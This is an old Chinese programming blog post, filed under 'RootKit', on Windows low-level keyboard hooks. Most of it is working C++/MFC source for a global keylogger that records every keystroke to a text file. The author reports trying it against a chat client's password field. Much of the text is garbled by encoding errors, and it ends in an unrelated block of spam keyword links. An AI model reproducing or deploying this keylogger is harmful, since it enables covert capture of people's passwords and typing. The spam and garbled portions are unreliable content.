• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡(jiǎn)單、開放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            About ShutDown of Windows(三)

            Posted on 2009-11-17 09:12 S.l.e!ep.¢% 閱讀(183) 評(píng)論(0)  編輯 收藏 引用 所屬分類: RootKit
            接著 About ShutDown of Windows(二) ?繼續(xù),將代碼繼續(xù)改進(jìn)

            HHOOK?g_Hook;

            LRESULT?CALLBACK?MyKeyHook(
            int?code,?WPARAM?wParam,?LPARAM?lParam)
            {
            #if?(_WIN32_WINNT?<?0x0400)
            /*
            ?*?Structure?used?by?WH_KEYBOARD_LL
            ?
            */
            typedef?
            struct?tagKBDLLHOOKSTRUCT?{
            ????DWORD???vkCode;
            ????DWORD???scanCode;
            ????DWORD???flags;
            ????DWORD???time;
            ????DWORD???dwExtraInfo;
            }?KBDLLHOOKSTRUCT,?FAR?
            *LPKBDLLHOOKSTRUCT,?*PKBDLLHOOKSTRUCT;
            #endif

            ????PKBDLLHOOKSTRUCT?kbDLLHOOK?
            =?(PKBDLLHOOKSTRUCT)lParam;
            ????
            ????
            const?char?*info?=?NULL;
            ????
            ????
            if?(wParam?==?WM_KEYDOWN)
            ????????info?
            =?"key?down";????
            ????
            else?if?(wParam?==?WM_KEYUP)
            ????????info?
            =?"key?up";
            ????
            else?if?(wParam?==?WM_SYSKEYDOWN)
            ????????info?
            =?"sys?key?down";????
            ????
            else?if?(wParam?==?WM_SYSKEYUP)
            ????????info?
            =?"sys?key?up";

            ????FILE
            *?f?=?fopen("hook.txt",?"a+");

            ????CString?strLog;
            ????strLog.Format(
            "%s?-?vkCode?[%04x],?[%c]?scanCode?[%04x]\n",?info,?kbDLLHOOK->vkCode,?kbDLLHOOK->vkCode,?kbDLLHOOK->scanCode);

            ????fwrite(strLog,?
            1,?strLog.GetLength(),?f);
            ????fclose(f);

            ????
            //?always?call?next?hook
            ????return?CallNextHookEx(g_Hook,?code,?wParam,?lParam);
            }??????

            BOOL?CHookTestDlg::OnInitDialog()
            {
            ????CDialog::OnInitDialog();

            ????
            //?Add?"About"?menu?item?to?system?menu.

            ????
            //?IDM_ABOUTBOX?must?be?in?the?system?command?range.
            ????ASSERT((IDM_ABOUTBOX?&?0xFFF0)?==?IDM_ABOUTBOX);
            ????ASSERT(IDM_ABOUTBOX?
            <?0xF000);

            ????CMenu
            *?pSysMenu?=?GetSystemMenu(FALSE);
            ????
            if?(pSysMenu?!=?NULL)
            ????{
            ????????CString?strAboutMenu;
            ????????strAboutMenu.LoadString(IDS_ABOUTBOX);
            ????????
            if?(!strAboutMenu.IsEmpty())
            ????????{
            ????????????pSysMenu
            ->AppendMenu(MF_SEPARATOR);
            ????????????pSysMenu
            ->AppendMenu(MF_STRING,?IDM_ABOUTBOX,?strAboutMenu);
            ????????}
            ????}

            ????
            //?Set?the?icon?for?this?dialog.??The?framework?does?this?automatically
            ????
            //??when?the?application's?main?window?is?not?a?dialog
            ????SetIcon(m_hIcon,?TRUE);????????????//?Set?big?icon
            ????SetIcon(m_hIcon,?FALSE);????????//?Set?small?icon
            ????
            ????
            //?TODO:?Add?extra?initialization?here
            #ifndef?WH_KEYBOARD_LL
            ????
            #define?WH_KEYBOARD_LL?13
            #endif
            ????
            ????g_Hook?
            =?SetWindowsHookEx(WH_KEYBOARD_LL,?MyKeyHook,?AfxGetApp()->m_hInstance,?0);
            ????
            ????
            if(?g_Hook?==?NULL?)
            ????????AfxMessageBox(
            "Failed?to?Set?Hook");
            ????
            ????
            return?TRUE;??//?return?TRUE??unless?you?set?the?focus?to?a?control
            }

            已經(jīng)實(shí)現(xiàn)了HOOK鍵盤消息(題外話:對(duì)于普通的程序確實(shí)可行,但對(duì)于QQ2009的PwdEdit顯示出來的東西是不對(duì)的,明顯QQ2009的PwdEdit對(duì)消息加密過)

            用 SysCheck 工具查看,這個(gè)EXE也并沒有注入到其它進(jìn)程

            MSDN的解釋
            WH_KEYBOARD_LL
            Windows NT/2000/XP: Installs a hook procedure that monitors low-level keyboard input events. For more information, see the LowLevelKeyboardProc hook procedure.

            If the input comes from a call to keybd_event, the input was "injected". However, the WH_KEYBOARD_LL hook is not injected into another process. Instead, the context switches back to the process that installed the hook and it is called in its original context. Then the context switches back to the application that generated the event.

            ???????? 一般情況下,全局消息鉤子要依賴于一個(gè)DLL才能夠正常工作。

            但實(shí)際上不是這樣的。有某些全局鉤子可以不依賴于任何DLL而正常工作的。這些鉤子包括,WH_JOURNALPLAYBACK,WH_JOURNALRECORD,WH_KEYBOARD_LL,WH_MOUSE_LL。為什么這些鉤子可以不依賴于DLL而正常工作呢?我們可以從MSDN中得到答案,MSDN中對(duì)于這四種鉤子都這樣的描述“This hook is called in the context of the thread that installed it.”,翻譯成中文意思是鉤子函數(shù)的調(diào)用是在安裝鉤子的線程上下文中進(jìn)行的,說得更明白些,意思就是這些鉤子是在哪個(gè)線程當(dāng)中安裝的,其鉤子函數(shù)就在哪個(gè)線程中執(zhí)行。所以使用這四種鉤子是達(dá)不到代碼注入的效果的,當(dāng)然也就可以不依賴于任何DLL了。MSDN中只對(duì)個(gè)別鉤子指出了必須還是沒有必要使用DLL。



            91久久精一区二区三区大全| 99久久国产综合精品女同图片 | 一本伊大人香蕉久久网手机| 一本一道久久综合狠狠老| 2021国内久久精品| 97久久婷婷五月综合色d啪蜜芽 | 久久综合狠狠综合久久| 亚洲AV无码久久| 久久精品无码专区免费青青| 99精品国产综合久久久久五月天| 午夜人妻久久久久久久久| 久久水蜜桃亚洲av无码精品麻豆| 国产午夜免费高清久久影院| 狠狠色婷婷久久一区二区三区| 99久久中文字幕| 久久国产精品偷99| 国产69精品久久久久9999APGF | 亚洲精品乱码久久久久久蜜桃不卡 | 伊人久久大香线蕉精品| 久久99国产一区二区三区| 亚洲午夜无码AV毛片久久| 欧美日韩精品久久久免费观看| 精产国品久久一二三产区区别 | 亚洲国产精品一区二区久久hs | 久久se精品一区精品二区国产| 欧美无乱码久久久免费午夜一区二区三区中文字幕 | 久久婷婷五月综合97色直播| 精品久久久久久久久免费影院| 亚洲av伊人久久综合密臀性色| 久久精品中文字幕久久| 久久久久国产视频电影| 一本久久a久久精品亚洲| 亚洲嫩草影院久久精品| 亚洲国产成人久久综合一区77| 精品久久人妻av中文字幕| 合区精品久久久中文字幕一区| 久久精品国产福利国产秒| 伊人久久综合热线大杳蕉下载| 久久人人爽人人爽人人爽| 国产毛片久久久久久国产毛片| 老色鬼久久亚洲AV综合|